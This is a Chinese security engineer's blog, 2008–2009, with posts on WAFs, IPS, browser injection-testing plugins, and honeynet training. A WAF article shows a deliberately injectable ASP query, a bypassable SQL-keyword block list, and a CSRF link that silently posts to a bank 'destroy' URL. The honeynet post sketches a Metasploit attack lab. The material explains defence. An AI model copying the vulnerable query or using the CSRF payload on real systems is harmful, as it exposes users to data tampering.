bo さんのプロフィールbobkey's blog フォトブログリストその他 ツール ヘルプ

ブログ


2009/08/27

wafec2.0

美国对于技术的融合、开放总是令人激动的,不封闭不排斥。不仅仅是NIST这些“百年名店”。对于web的防护,waf1.0 的发布是从用户层来考虑如何选择和测试一款合格的WAF,有哪些技术特性是必须满足的。未来版本是2.0,而下面就是主要的研究机构和参加,由他们共同参编写。期待和关注wafec2.0。
 
Community & Research:
WAF Vendors:

Naturally WAFEC is of importance to WAF vendors and most vendors have a representative on the WAFEC team:

2009/08/24

IPS vs WAF

上周组织了IPS和WAF的研发人员共同讨论了这两款产品的异同,下面是部分PK话题:

未知攻击防护(异常检测)
基于行为还是签名技术?
深刻理解HTTP协议?
编码和解码技术?
建立安全模型?
基于会话保护
单向和双向防护?
效率,性能
waf和ips的分界线是什么?引用对方的技术能超越彼此吗?
关联分析有用吗
谁是真正的七层协议?
阻断技术

接近尾声时来了一个市场人员,又再一次问了它们的异同,我用这个例子讲解了,大家均觉得贴切:

IPS是大楼保安,他对进出的所有人全部要安全检查;waf是老总的私人保镖,他只需对老总的安全负责;那么它们的异同就是waf需要清楚地了解老总的生活作息习惯,性格特征,有哪些脆弱点容易被利用等。

保镖图

具体的分析文章这周开始编写,希望下周能出来。

2009/08/15

FF插件

插件依托浏览器越来越有优势了,FF武装一下可称为黑客工具大全,以下又是一款,可支持自定义规则
http://labs.securitycompass.com/index.php/exploit-me/

刚配合paros跑了一下,观察,发现都是基于表单的注入,用post提交数据,这个还是挺有用的,可发现一些隐藏表单的漏洞。在浏览网页的时候会自动报出当前的form,然后可根据人的判断来选择注入哪些,完成后会简洁地显示所注入的字符与对应的服务器返回码,这时又可以进一步分析了。
所以我觉得这就是插件的好处,依靠浏览器的解析能力,只做自己擅长的事情,这其中有“人工智能”的参与,比起那些黑盒子傻傻地扫,显得颇灵活了。

其他常用安全插件:

Live HTTP Headers 0.15
firebug
Web Developer 1.1.8
DOM查看器

2009/07/31

后发制人 WEB application firewall防护WEB攻击有天然优势

注:此文已经发表在《绿盟+》技术刊,转载请注明出处,不允许用于商业目的,谢谢。

 

作者:绿盟科技 秦波

日期:2009.7.31

目录

WEB安全问题的复杂性... 1

WAF的防护原理... 3

动态防护CSRF. 6

结束... 9

摘要:

对于WEB攻击,尽管一再提倡其自身的强壮性,但是更重要的是运维的安全防护,而传统的防护已经出现盲点。WAF(Web Application Firewall)利用其自身架构的天然优势可防护繁多的攻击类型。本文从技术角度阐述绿盟科技新上市的WAF P系列产品的功能优势。

关键词:WAF we攻防 SQL Injection CSRF

WEB安全问题的复杂性

WEB攻击的数量逐年上升,占了大部分攻击事件比例。WEB安全已经推到了前沿浪尖,无论是政府还是企业都迫切解决这个棘手的问题,Gartner统计:目前75%攻击转移到应用层。原有的传统防御设备已经不能满足企业对网络攻击的防御。WEB应用技术在积极发展的同时需要强有力的安全保障,所以WAF是应形势需求诞生的产品,它走上应用安全的舞台,是一个必然的趋势。

Web漏洞归类

众所周知,WEB服务系统实际不是一个单一的软件,它由OS+Database+WEB服务软件(比如:IIS、Apache)+脚本程序(比如:Jscript、PHP代码文件)构成,所以要考虑它最基本的依赖,那就是OS和Database、WEB服务软件自身的安全,这个可以通过安全加固服务来实现,而最核心的应用程序代码是不能用同样的手段来解决,这也是WEB安全问题的主要来源。

WEB 应用安全漏洞与操作系统或者网络设备的漏洞是不同的,这是因为编写代码者是不同的,产生的代码也是不同的,所以国外有权威的WEB安全组织来归类一些漏洞,让开发人员、安全厂家、第三方专家等能用一种一致的语言来讨论WEB安全问题。比较有名的是OWASP的TOP10漏洞,还有Web Application Security Consortium (WASC)归类的Thread Classification,如下表:

Abuse of Functionality

Brute Force

Buffer Overflow

Content Spoofing

Credential/Session Prediction

Cross-site Scripting

Denial of Service

Directory Indexing

Format String Attack

Information Leakage

Insufficient Anti-automation

Insufficient Authentication

Insufficient Authorization

Insufficient Process Validation

Insufficient Session Expiration

LDAP Injection

OS Commanding

Path Traversal

Predictable Resource Location

Session Fixation

SQL Injection

SSI Injection

Weak Password Recovery Validation

XPath Injection

* Fingerprinting

* HTTP Response Splitting

 
 

从安全角度看,WEB从设计到开发必须遵循:

1. 安全设计

2. 安全编码

3. 安全测试(代码审计和扫描、渗透)

4. 安全运维

其中最根本的在于安全设计和安全编码,也就是上线前必须保证WEB产品的自身强壮性。目前大部分的WEB应用程序是用户自己或请人编写,其他的或网站里部分组件,比如论坛、邮件系统、留言板等会用到商业版,代码是不相同的,而且程序员的水平参差不齐,更重要的是他们都遵循了软件的安全开发标准吗?可以想象这些良莠不齐的WEB系统一旦上线会遭受攻击,此时安全运维阶段尤为重要,也就是依靠安全防护设备来抵制攻击。

记住,这是我们为什么需要WAF的第一个理由!

攻击从未停止

让我们先看下图,是攻击网站的基本步骤和方法。

image

如上所示,互联网每天都充斥着数千万的攻击流量,而WAF可以自动识别和屏蔽大部分主流的攻击工具特征,使得它们的攻击前奏就失效,绿盟科技WAF采用的是透明代理模式,客户端和服务器的双向流量都必须经过WAF清洗,而又无需另外配置,保持原有的网络结构,每个报文需要接受WAF对其的“搜身检查”,合格之后再进行转发。

可能有人会说Firewall和IPS不是这样的设备吗?它们为什么不能防御呢?详细的对比参数我就不列举了,大家知道OSI 7层模型,防火墙通常工作在OSI的第三层的网络层,目前的包过滤型和状态包检测型防火墙、应用层防火墙难以识别WEB攻击行为和正常报文,这是它自身技术定位决定的局限性。攻击者只需在浏览器上操纵URL就可攻击目标网站。当然,作为互补型的IDS(入侵检测系统)、IPS(入侵防护系统)产品是能防护应用层的攻击行为,但是市面上绝大多数的产品都只能防护一部分WEB攻击,甚至有些产品是直接在IDS类产品上做修改而形成的WAF,基本只依靠规则来实现,不但效率低而且严重滞后于繁杂多样的WEB攻击类型。当然,我在这里要重申一下,WAF可以和传统的FS+IPS作为一个有益的补充,但绝不是去代替他们。

所以,WAF的自身代理架构使得分析和阻挡攻击具有天然的优势,这是我们为什么需要WAF的第二个理由!

WAF的防护原理

好,我们再回到防护盲点这个焦点话题,那就是无论如何安全设计和编码,或者经过最严谨代码审计、渗透测试之后都难免会有漏洞,因为理论上1000行代码就有1个Bug,检查只能让这些减少而已,无法真正做到没有安全漏洞的产品,这也就是为什么软件厂商会不断地推出一个个补丁来弥补,而这些Bug只要能被攻击者发现和利用那么就会带来威胁。

也就是说代码缺陷是先天存在的,即使后来修复也会具有一定的滞后性,而且不能保证100%地发现所有存在的漏洞那个缺陷。为了给大家更好地理解WAF防护的天然优势我们从两个例子来进行分析,从技术实现角度看WAF,SQL注入采用了规则集静态防护,CSRF采用了算法的动态防护。

静态防护SQL注入

SQL注入的防护从编程角度看最有效的防护是对用户输入的变量通过参数来传递,而不是直接嵌入到SQL语句,但缺陷:

1. 不是所有的数据库和编程语言都有相应的参数化功能;

2. 编写时面对众多的输入模块,难免会有疏漏;

3. 难以批量化和统一部署。

还有一些方法就是把参数进行分类,比如用户递交的参数值统一转换成纯数字或纯字符串类型、加密用户输入、限制输入长度等,但和以上方法的缺陷一样。

比如这段代码是直接把用户输入放置数据库的SQL语句中进行执行,如果不对member_login变量进行过滤和判断是可以注入攻击的:

---漏洞代码段---

member_login=trim(request("login"))

set rs=server.createobject("ADODB.Recordset")

sql="select * from job_Member where Member_login='"&member_login&"'"

rs.open sql,conn,1,3

如果一一检查和修复需要花费大量的精力,而很多网站上线运营之后需要提高安全性的普遍举措是采用一些通用性的函数,原理是对输入进行判断和过滤,它在一定程度上能缓解攻击行为,并且花费成本相对不大,我们先看一段编写的防护函数:

---防护代码段---

<%

'定义需要过滤的输入字符

dim sql_injdata

SQL_injdata = "'|and|exec|insert|select|delete

|update|count|*|%|chr|mid|master|truncate|char

|declare|1=1|1=2|;"

SQL_inj = split(SQL_Injdata,"|"

'处理POST提交的输入

If Request.QueryString<>"" Then

For Each SQL_Get In Request.QueryString

For SQL_Data=0 To Ubound(SQL_inj)

if instr(Request.QueryString(SQL_Get),

Sql_Inj(Sql_DATA))>0 Then

Response.Write "<Script Language=JavaScript>

alert('系统提示你!\n\n请不要在参数中包含非法字符尝试注入!\n\n');window.location="&"'"& amp;"index.htm"&"'"&";</Script>"

Response.end

end if

next

Next

End If

'处理GET提交的输入

If Request.Form<>"" Then

For Each Sql_Post In Request.Form

For SQL_Data=0 To Ubound(SQL_inj)

if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then

Response.Write "<Script Language=JavaScript>

alert('系统提示你!\n\n请不要在参数中包含非法字符尝试注入!\n\n');window.location="&"'"& amp;"index.htm"&"'"&";</Script>"

Response.end

end if

next

next

end if

%>

以上代码首先需要定义相对完整的过滤字符集,然后分别处理用GET和POST方式提交的数据报文,在需要防护的页面里调用包括它既可<!--#Include File="Anti_SqlIn.Asp"-->

但是编写统一的防止注入函数有缺陷:

1. 需要考虑不同语言的不同语法,不能统一,比如ASP、PHP、Java;

2. 要充分考虑每一个可能用户输入的地方,但往往会有疏漏;

3. 虚拟机往往有大量站点,而管理者是单个站点的属主,系统管理员没权利也没能力统一定制防护措施;

4. 如果是IDC或者大型企业的机房,会有更大量不同类型的WEB应用服务器,要实现批量防护则更困难;

5. 消耗服务器运算资源和网络带宽,因为大批量的网络连接和提交数据都需要经过函数来处理;

6. 过滤不严谨则容易被攻击者绕过。

最后一点其实很关键,不仅仅是过滤不严谨,而且攻击者对于输入可变化大小写,拼接攻击语句,甚至构造字符的不同编码方式,比如字符 < 可被编码为 &lt、&#60、&#x3c 或 %3c,而编码方式又是如此之多,Unicode、十六进制、ASIIC、UTF-8等,所以用防护函数方式是非常困难的。

通过上面描述,我们知道了从编程方式来防御攻击具有它的局限性,简单概括:会有疏漏、消耗性能、难以统一、运算复杂等。

而这时绿盟科技WAF的优点就体现出来了,对于Encoding报文会全部解码后在分析,防止攻击者利用拼接、转换编码的方式躲避检查,并且内置了50多条精心配制的规则,用于防护SQL注入,有人可能会疑问这么少的规则能有效防御吗?要知道虽然SQL注入的语句千变万化,但规则只需要找出共同点进行匹配即可,并且可在此基础上根据变化的攻击行为自定义规则。规则制定后可用于不同类型的多台WEB服务器,类型一致的可使用同一规则,对于大型WEB群来说这具有无可比拟的优越性。它的优点如下:

1. 统一定制的规则能批量适用于不同类型的网站;

2. 花费时间和精力最少,无论是应用或编辑规则都方便,不用每台WEB服务器去部署;

3. 即使网站存在漏洞,也能在前端把攻击流量给予清洗和阻断;

4. 网站无需处理错误的探测,避免把错误处理方式和信息暴露给攻击者,同时也节省了服务器的处理资源。

动态防护CSRF

CSRF全称是Cross Site Request Forgery,翻译过来是跨站请求伪造的意思,它攻击的是客户端,利用用户合法身份访问精心编制的一串url去触发一段具有某功能的脚本或CGI程序,攻击者盗用了客户的身份,并以他的名义发送恶意请求,包括:以假冒身份发送邮件,发消息,盗取用户账号,购买商品,虚拟货币转账,造成个人隐私泄露以及财产安全。特别是随着WEB2.0的普及人们越来越意识到它的攻击威力。如下是一段攻击流程:

image

1. 访问了www.example.org

2. 此页面用<img src>标签隐含了一段url,但访问时被触发访问请求

3. 这段url以Get方式提交了一段具有某功能执行的请求,比如:银行转账、网上购物等

通过上图我们清晰地了解CSRF的攻击方式是利用合法用户的身份来执行恶意动作,当然利用Get方式更容易实施,但POST方式也难逃厄运,比如下一段:

<a .href="http://www.abc.com/" onclick="var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.BANK.com/account/destroy&#39;; f.submit();return false;">合法链接?</a>

如果把链接改成图片,并且动作设定为onmouseover就更危险了。

目前在WEB服务端抑制CSRF攻击有几种方式:

1. 增加一个HASH后的cookie;

2. 一次性令牌;

3. 加入验证码机制,缺点是这种机制给正常用户的客户体验受损。

以上方式第3种是最佳的,比如每次请求重要功能的页面时(转账、删除等动作)会嵌入一个生成验证码图片的脚本,随机生成值(数字、ASIIC字符、中文等)让用户填写后发送到服务器并保存在session空间。但很多网站的程序员在编写时疏忽了完成每一次会话后去及时清空这个值,那么用户只要成功登陆过一次并填写了验证码之后,以后的会话就无需重新验证了,所以还是容易被利用攻击。

接着,我们来看看WAF的防护实现方式,相对于用特征集的静态防护,用动态防护CSRF的攻击更具智能性和灵活性,基本思路是通过WAF随机产生的隐含表单来打断一个不变的会话,也就是说即使攻击者获取到了用户身份,但是随机变化的验证码让攻击者无法构造一个不变的报文。

如下图所示,在配置WAF防护的规则之前需要设置referee的规则,然后配置域名和要防护的页面路径即可生效。

image

在应用了WAF的csrf防护规则之后我们可以通过抓包观察(见下图),在POST报文时发现会多了一个随机生成的隐含表单值,这个值会发送到WAF中进行匹配计算,如果不相符合则认为是攻击者构造的报文。由于这个值每次会话都变化,且长度都不同,很难被攻击者猜测利用,具有相当高的安全性。

image

结束

通过以上介绍,大家了解WAF对于繁杂多样的攻击能条理地归类出共性,并在WEB系统前端直接分析和过滤,由于边幅限制,不能一一列举WAF所有防护功能的实现原理,其他的包括比如防御CC、SYN_flood等类型的拒绝服务攻击、cookie安全、网页挂马、防止页面篡改、WEB访问加速等,在以后的期刊里我会陆续再给大家介绍这些实现原理和一些思路。

参考文献:

[1].SDL 介入 WEB http://msdn.microsoft.com/zh-cn/magazine/cc794277.aspx

[2].NET Framework 开发人员指南 ADO.NET 安全编码指南http://msdn.microsoft.com/zh-cn/library/hdb58b2f(VS.80).aspx

[3].《19 Deadly Sins of Software Security》作者Michael Howard、David LeBlanc 和 John Viega

[4]. Threat Classification http://www.webappsec.org/projects/threat/

[5]. The Open Web Application Security Project (OWASP) http://www.owasp.org/index.php/Main_Page

[6]. Preventing CSRF http://files.playhack.net/papers/preventcsrf.txt

[7]. rfc2616 http://tools.ietf.org/html/rfc2616

2009/04/10

XP没有安全补丁了

微软4月14日起不再为XP用户提供安全补丁,这意味着没有安全的支持了,以后仅提供扩展支持,对此微软的解释全部在他制定的支持生命周期策略里,Microsoft Support Lifecycle Policy FAQ



2009/04/08

百科的价值观

前一阵写东西,参考Wikipedia的一些定义,尽管它也不是完全准确,但我对它还是抱有深深的敬意。
驱使我去了解它的创始人Jimmy Wales,会发现他的眼光决定了Wikepedia的存在价值。在2001年是,大家对于web的发展还是处于摸索阶段,他已经提出了百科的概念,允许匿名维护同一个知识,8年后已经深入人心了。这里其实不仅仅是纯技术问题,更是眼光决定的模式。记住几个词:人类所有知识、免费、自由编辑。
并且对于运营成本的问题,他表示拒绝采用广告等方式来维持,要做到互联网的基础设施之一,而不仅仅是一个网站,在目前每月递增4%访问量可知道这个价值会深入民心的。

全文阅读访谈记录: http://www.bigoakinc.com/blog/interview-with-wikipedia-founder-jimmy-wales/



2009/01/12

读工信部的9大任务

2009-01-05
工业和信息化部提出2009年九大任务

  在12月19日召开的全国工业和信息化工作会议上指出:根据中央经济工作会议确定的明年GDP增长8%的预期目标,提出2009年工业增加值必须实现12%以上的增速,发挥对经济增长的拉动作用。为实现这一目标,工业和信息化部2009年要重点做好九个方面工作。

  一是落实中央各项政策措施,立足扩大内需促进工业平稳较快增长;二是把技术改造放在工业发展的突出位置,促进工业内涵式发展;三是支持重点产业发展,调整优化产业结构;四是加强运行监测和协调保障,做好预测预警预防和信息引导;五是优化发展环境,促进中小企业和非公有制经济发展;六是抓好科技重大专项和重大装备发展,推动技术进步和成果转化;七是推进传统产业改造提升,促进信息化与工业化融合;八是推进通信业改革和监管,抓好TD— SCDMA发展;九是确保完成重点科研生产任务,推进军民结合产业发展。

这9个任务,我能接收到的信息就是面对经济危机,国家已经意识到要从中小企业入手,扶持制造业的发展,斩断多米诺骨牌效应的局面。而且我国的制造业一向是粗放型,占90%,以牺牲自身的资源/劳动力/污染为代价,做世界的工厂,东莞那些考积压成本(采购成本/劳工工资待遇)的厂子就是例子。
另外,TD-SCDMA放到国家层面来执行,很是意外,之前就听说了国家发放了3G牌照,可见09年的信息通讯会有很大的改变,期待ing

再说说GDP,如果还是以过去那种政府形象工程/业绩工程,比如卖地皮/修高速/盖大楼/重点工业项目为主的GDP,那么没啥区别,关键是GDP中要增加老百姓的消费值(据专家说正常的占70%,而我们是30%多),还要加入制造业的硬指标,比如从生产/包装/物流/销售一条龙的企业。

2008/12/31

又是预测

Network World 的Andreas M. Antonopoulos 昨天发表了题为《On botnets, encryption and mega-worms: Security predictions for 2009 》的预测,大意是

主机安全,提到了新的Windows 7,Mac OS 和 Linux将持续深入。

移动平台的智能化引入引发的风险?
加密移动存储设备会逐渐成为标准做法,同时指出基于PKI的加密仍然保持着孤岛形式,而没有普及。

僵尸网络还在构建隐蔽/加密的控制系统,这个话题,对于中国来说更沉重,他们是控制端,而我们是被控端,同时数量也是全球第一。此刻意味着如何监控发现是非常重要的,那么就要持续研究他们的隐蔽技术如何实现。

另外,还提到了因为大环境下的各种经济丑闻而引发新的审计需求,其中萨班斯可能又要顺应历史的潮流了?

2008/12/12

在南宁做安全保障

在南宁公安厅现场保障自治区成立50周年庆典,我作安全专家协调和指挥监控和应急工作。总算没出问题,有两点要切记,工作要细分到不同岗位的人身上,由我来汇总分析,第二要建立一个常态指标来衡量异常。
当然工作要显形化,不仅仅时工作流程方式,还有输出的可让人听懂的总结分析,让客户感受我们的价值,让他们心里有底。

2008/11/22

NIST

最近在整理和分析美国NIST的东西,有几点思索:
1。整合是趋势
2。在网上搜索FISMA发现国内研究这个的是少数几个科研机构,没有国内厂家介入,未来亟待需要建立自己的国家级成熟的风险管理标准库。
3。发起、定制、执行安全法规和技术援助的不是同一个机构,但彼此是上下从属的关联关系,而且保持自己独立的立场,同时参与方不局限于是谁,只要符合要求的都可以进行预报并审批后操作,最终提交到同一的库进行公布发行。
4。对于安全服务部门的意义:建立统一的框架标准,吸收各个成员的观点,长期维护和沉淀
5.每年的每个部门按照同一个标准进行自检和报告,05年的数据是大部分的机构都不符合要求,美国人挺实诚的,敢于把这个结果公布在互联网上。
目前网站类容太多,而且没有定义逻辑关系,需要从历年的大会中结合时间、以及每个子类的内容去琢磨彼此的关系,比如NCP其实是02年定制的法规,SCAP和FDCC checklist是07年才出现的,所以NCP包含他们,而他们又相对是独立的东西。

2008/11/21

关于安全的被动是不行的概念

Due Diligeuce可以翻译成“勤勉的尽职调查”,就是说你干信息这一行,就必须对它的安全问题尽职尽责。不能只是被动地照章办事,而是主动地、勤奋地、有警觉地恪尽职守,遵纪守法,随时发现情况及时主动处理。

2008/08/25

蜜网关键技术及其培训意义

蜜网关键技术及其培训意义

06年给广州一个大型门户站点搭建过蜜网,08年8月给广东移动做过一次大型培训,其中涉及到蜜网的课题,这里我主要介绍一下蜜网技术其中涉及到的关键点,以及如何在培训中去讲解这种课程与同学们共享。

一、什么是蜜网技术
1.1先谈谈概念
                    要谈到蜜网,大家可能觉得陌生了点,但蜜罐相信都知道。这里涉及到很多类似的词:蜜罐 (Honeypot)、蜜网 (Honeynet)、蜜场 (Honeyfarm),其实这是一个领域的东西。
蜜罐(Honeypot)
                    是一种在互联网上运行的计算机系统。它是专门为吸引并诱骗那些试图非法闯 入他人计算机系统的人而设计的,蜜罐系统是一个包含漏洞的诱骗系统,它通过模拟一个或多个易受攻击的主机,给攻击者提供一个容易攻击的目标。
蜜网 (Honeynet)
                    蜜网是蜜罐发展中的一个技术,它由多个计算机系统组成的一整套网络体系。一个蜜网是由许多用来与攻击者进行交互的蜜罐组成的网络,其中的这些靶子(蜜网内的蜜罐)可以是你想提供的任何类型的系统, 服务或是信息。我们想姑且把它想象成一个透明网关的设备,内部部署了各种蜜罐系统。
蜜场 (Honeyfarm)
                    对于蜜场我并没有类似的经验,因为这需要复杂的实验环境和测试环节,这里先谈它的概念,即所有的蜜罐均部署在蜜场中,而在各个内部子网中设置一系列的重定向器(Redirector),若检测到当前的网络数据流是黑客攻击所发起时,通过重定向器将这些流量重定向到蜜场中的某台蜜罐主机上,并由蜜场中部署的一系列数据捕获和数据分析工具对黑客攻击行为进行收集和分析。
1.2蜜网技术在工程和培训上的意义

工程意义:

可以研究攻击手法,发现和统计未知的风险,从而应用于现有的业务系统。但这需要一前提:对现有业务技术非常熟悉、有明确的目标、具有丰富经验的安全知识、善于总结。

培训意义:

虽然这是一个相对偏门,或者说较专的一个技术领域,但是它是各种知识的一个综合课程,包括了主流的操作系统知识、数据库和应用、iptables防火墙、snort入侵检测系统、tcpdump sniff技术、后门技术、信息探测(扫描、系统指纹等)、键盘记录和加密报文、远程攻击技术等。它的实际操作和特点能激发学员的兴趣,并把所学安全知识做一次融会贯通,只要讲师能把握好节奏和重点,能取得很好的培训效果。

二、蜜网技术分解

这不是普及性的介绍,我仅仅把其中的重要的关键点给大家讲讲,全部的知识点我在此文尾给一些链接,大家有兴趣可以去深入了解。

2.1关键技术--数据控制机制

数据控制机制是为了防止蜜网被黑客/恶意软件利用攻击第三方,这是一个很大的风险,从法律角度看,架设蜜网的人需要承担相应的责任。但要做到,需要平衡,因为不能完全禁止,否则会被黑客发现,怀疑这是一个陷阱,从而失去了研究的意义。必须在攻击者不知情 的情况下控制攻击者的活动。

clip_image002

图1:未控制的数据流从蜜罐中向外网发送

clip_image004

图2:从蜜罐往外发送的数据报文被蜜网限制

当然,实现数据控制不能仅仅依赖于一种单独的实现机制, ,要实现多层次的控制机制,如限制连出的连接数,入侵防御网关,或者是带 宽限制等等。多种不同机制的组合能够避免单点失效,特别是在面对新的未知攻击的时候。同时,数据控制应该运行在一种失效及关闭的方式中,这意味着如果你的机制发生错误(一个进程死亡,硬盘满,错误设置的规则),蜜网应该阻截所有连出的活动。

clip_image006

图3:蜜网控制数据包的技术原理(Snort Inline)

如上图所示,蜜网中控制技术是依靠Snort Inline原理,snort是依靠Iptables 的queue模块来检查和处理有恶意行为的数据包:

iptables -A FORWARD -i $LAN_IFACE -m state --state RELATED,ESTABLISHED -j QUEUE

clip_image008

图4:对外数据流的控制技术

图四是更具体的数据流控制,我们可以看到所有外出的报文需要经过snort的规则和Iptables规则,对外已知的攻击(依赖snort规则)都会交给Iptables阻断,并用swatch处理日志发送Email给管理员。

而且在安装蜜网时,它有一个报文数量的限制,缺省是20个TCP包、20个UDP包、50个ICMP包,其他包10个。这在一定程度上就限制了未知的攻击行为。

2.2关键技术--数据捕获机制

数据捕获机制是获取黑客攻击/恶意软件活动的行为数据、网络行为数据-网络连接、网络流

系统行为数据-进程、命令、打开文件、发起连接。

clip_image010

图5:各种捕获数据的汇总

clip_image012

图6:各种捕获数据的网络逻辑图

以上,可以看到几种捕获技术的汇总,分别看看是什么:

Argus是对于网络流的监控、收集

Snort:网络行为的数据

P0f攻击者使用的操作系统,当然,如果是跳板,那就没办法了

Sebek这个是新颖的本地行为获取工具,采用了内核级rootkit的技术手段,能获取进程、打开文件、输入命令等本地的动作

流量记录:是Tcpdump的实时抓包数据,通常不会去查看它,只有确定了攻击行为,需要深入分析的时候,可以下载到本地,用sniff工具打开查看分析

这几个工具,我介绍一下有特色的P0f和sebek,其他的捕获技术相信同学们也都很了解。不论任何工具,我们要掌握的都是其实现的原理,而不仅仅是操作方式。

首先说说P0f,一个出色的网络操作系统被动识别软件,相对于主动识别技术的代表:Nmap(TCP获取指纹)和Xprobe(ICMP获取指纹),它的定位是被动探测系统指纹,也就是说它不向目标系统发送任何的数据,只是被动地接受来自目标系统的数据进行分析,所以一般来讲无法被发现。它共有3种模式:

SYN模式:嗅探TCP接入请求(即SYN包)

SYN+ACK模式:先运行这个模式,然后对目标进行主动的连接,这种方式是对于目标前有防火墙,过滤了ICMP和大部分端口的情况下使用的技术,比如80端口,通过返回报文分析

SYN+ACK/RST模式:原理和上面类似,它是对于若无法建立连接,但远程机器返回了RST+ACK回复时,截获它的返回报文来分析

# p0f -i eth0 –S -U (SYN模式)

# p0f -i eth0 -U -p (混杂模式)

# p0f -i eth0 -r -A -U (SYN+ACK模式)

三个模式都是为了能抽取数据包与内置的指纹库做匹配,然后判断目标IP所使用的操作系统类型。

输出样例:

10.243.144.44:37437 - SunOS 4.1.x

-> 10.243.144.126:756 (distance 25, link: ethernet/modem)

P0f.fp

65535:64:1:60:M*,N,W0,N,N,T:.:FreeBSD:4.7-5.2 (or MacOS X 10.2-10.4) (1)

在内置206个特征中符合windows size是65535的有18个

符合初始TTL值为64的有14个

数据包设置了Do not Fragment([DF])位的剩下10个

包的长度是60的剩下了7个

此时全部是BSD家族的特征,继续确认需要分析选项次序

好,说完了p0f再来看看sebek,到现在来说这个不算新颖的技术,但它很特别,是蜜罐发展过程中衍生出来的一种工具(蜜罐衍生工具最有意义的当属snort)。

什么是sebek呢?它是一个c/s结构的工具,定位是捕获本地行为的数据,也就是攻击者攻陷了蜜罐后,在本地的操作行为。

其实捕获本地行为不算什么难度大的事情,很多工具都可以,但这里就会冒出一个问题,黑客不会发现它吗?如何保障不会被黑客从本地中发现有陷阱,如何不被从网络中发现client发送数据给server呢?

本地隐藏技术:

clip_image014

图7:sebek的内核模块形式

sebek是以内核模块的形式存在于操作系统当中,具体原理可以去研究adore之类的rootkit后门技术,sebek模块获得蜜罐内核空间的访问,从而捕获所有read()的数据。Sebek替换系统调用表的read()函数 来实现这个功能,这个替换的新函数只是简单的调用老read()函数,并且把内容拷贝到一个数据包缓存,然后加上一个头,再把这个数据包发送到服务端。

clip_image016

图8:sebek的数据包发送到网络设备驱动

以上图是Sebek产生的数据包绕过协议栈并且直接发送到网络设备驱动,因为这些包完全由Sebek产生,而不是使用TCP/IP协议栈来产生或发送数据包,所以系统无法看到或阻断这些数据包。当数据包创建好的时候就直接发送给驱动设备,这就绕过了原始套接字代码和包过滤代码。由于嗅探器是基于libpcap 的,而libpcap使用原始套接字接口来收集数据包,所以嗅探器不能看到运行Sebek主机上由Sebek产生的数据包。

2.3关键技术--数据分析机制

数据分析机制是理解捕获的黑客攻击/恶意软件活动的行为,并通过这些数据可以还原,是蜜网部署的最终目的。

通过2.2节的所有数据都是在后台由hflowd.pl自动处理并提交通过DBI连接mysql数据库汇总的,而前端的管理分析工具walleye是用Perl语言编写的Web GUI工具,通过浏览器登录,可看到丰富的信息:

数据分析视图

Overview视图

网络流视图

进程树视图

进程细节信息(open_file, read_data, command…)

网络流信息: 网络流数据包解码,snort检测结果

Pcap数据-慢通道

clip_image018

clip_image020

clip_image022

clip_image024

图9、10、11、12:walleye的分析截图

各种数据之间不是独立的,在分析时重点是查看攻击行为,然后从攻击的时间、IP为索引查看上下文关联行为,包括从最初的信息探测、攻击shellcode、暴力破解、本地操作等以此来判断攻击使用的手法和目的。

三、在培训项目中如何讲好蜜网

实际上这几年,我主讲过很多不同类型的技术培训,也自己在总结这方面的技巧,避免自己的不专业和错误的细节,一些同事给我提过一些中肯的意见,在这里感谢他们。

要注意的是,我们的客户类型是不同的,讲课的时候要结合他们的职位特点来讲解,技术培训不能仅仅讲解纯技术,需要举例,比如平常自己工作遇到的类似问题,处理思路和步骤方法是如何,重要的环节尽量能演示一遍,适当的时候可以插播一些业内有趣的例子等。

3.1蜜网技术实验安排

好,切入正题。

我讲这个课用了6个小时,包括实验,时间还是比较仓促的,因为实验很复杂,涉及很多环节,同时每个学员的水平也是参差不齐,如果再出现问题,那么很难保证顺利完成。

所以必须分组,一个班分成3或4组最佳,第二需要完整的操作步骤,关键的地方需要演示,对操作不成功者需要去辅导他完成。所有分组的操作步骤要同步,避免实验不连贯,而且学员会有挫折感。

3.2蜜网的网络拓扑讲解

clip_image026

图13:walleye的分析截图

先看下蜜网的网络拓扑图,会发现结构比较简单,确实,蜜网相当于一个网关,eth0和eth1构成一个透明模式的网桥,对于攻击者来说是不可见的,eth2是用于管理的网口,同时它充当sebek server的通讯。

这里为节省资源用vmware软件来构建整个环境,当然也可以用物理机器来做,我没测试过。

用vmware的好处是,它有内置的两个交换机Vmnet0和Vmnet1分别对应于外和内网 ,用eth0接Vmnet0构成和外网的连接,eth1接Vmnet1构成和蜜罐系统的连接。

在讲解的时候需要把这个拓扑和vmwar设置讲解清楚,让每个人都很清楚这个结构。

3.3蜜网的安装和测试

这个环节,只要事先准备好手册,并去一一查看学员的操作,是不会出现大问题的,对于他们的疑惑要仔细讲解,此时他们的兴趣都调动起来了。

蜜罐是事先准备好的各个操作系统,一般来说,都是版本略低于目前主流的版本,比如win2000SP4、redhat9、solaris8等,用它们组成被攻击的目标。

3.4蜜网的攻击阶段讲解

这里只需要讲解一些重要的概念,因为涉及到的东西太多,所以要有侧重点地去讲,扫描的不同原理可以概要的讲,而对于新颖一点的指纹技术可重点讲。

让学员用Nmap和Nessus进行扫描,并把扫描结果做一次分析,通过结果从攻击者角度来分析目标的情况。

这里可用Metasploit 3 对Windows2000进行远程攻击。

clip_image028

clip_image030

clip_image032

图14、15、16:Metasploit 3 GUI 攻击截图

对其中漏洞的定义和shellcode、溢出的基本原理需要讲解,并启发学员此时获取到最高权限时应该如何进行下一步,此时现场的气氛会很热烈,操作成功后大家都有一定的满足感,并会提成一堆问题,把其中有代表的问题进行重点讲解。

3.5蜜网的分析阶段讲解

通过以上的操作,学员此刻能掌握基本攻击手法和步骤,所以通过walleye的数据展示,分析攻击手法时他们大都能理解这些原理了。可以让较活跃的学员来总结他的心得,然后点评。

3.6蜜网关键技术的深入讲解

蜜网时一个综合知识的汇合,它的原理实现以来一些关键技术,比如sebek、iptables、snort、tcpdump、p0f、swatch等,这个我是单独放开的,根据课程进度和学员接受程度来深入讲解这些知识,让学员们理解蜜网同时有目的性掌握,我们不仅要控制数据,还要捕获数据和分析数据,最终形成一个完整的蜜网技术课题。

至于蜜网的发展阶段、类型、用途、法律相关问题都属于纯讲解部分,不是重点,要注意平衡。

讲解时,要注意整个课程有主次,从宏观角度把握进度和重点,否则会听得很迷糊。

四、总结一下

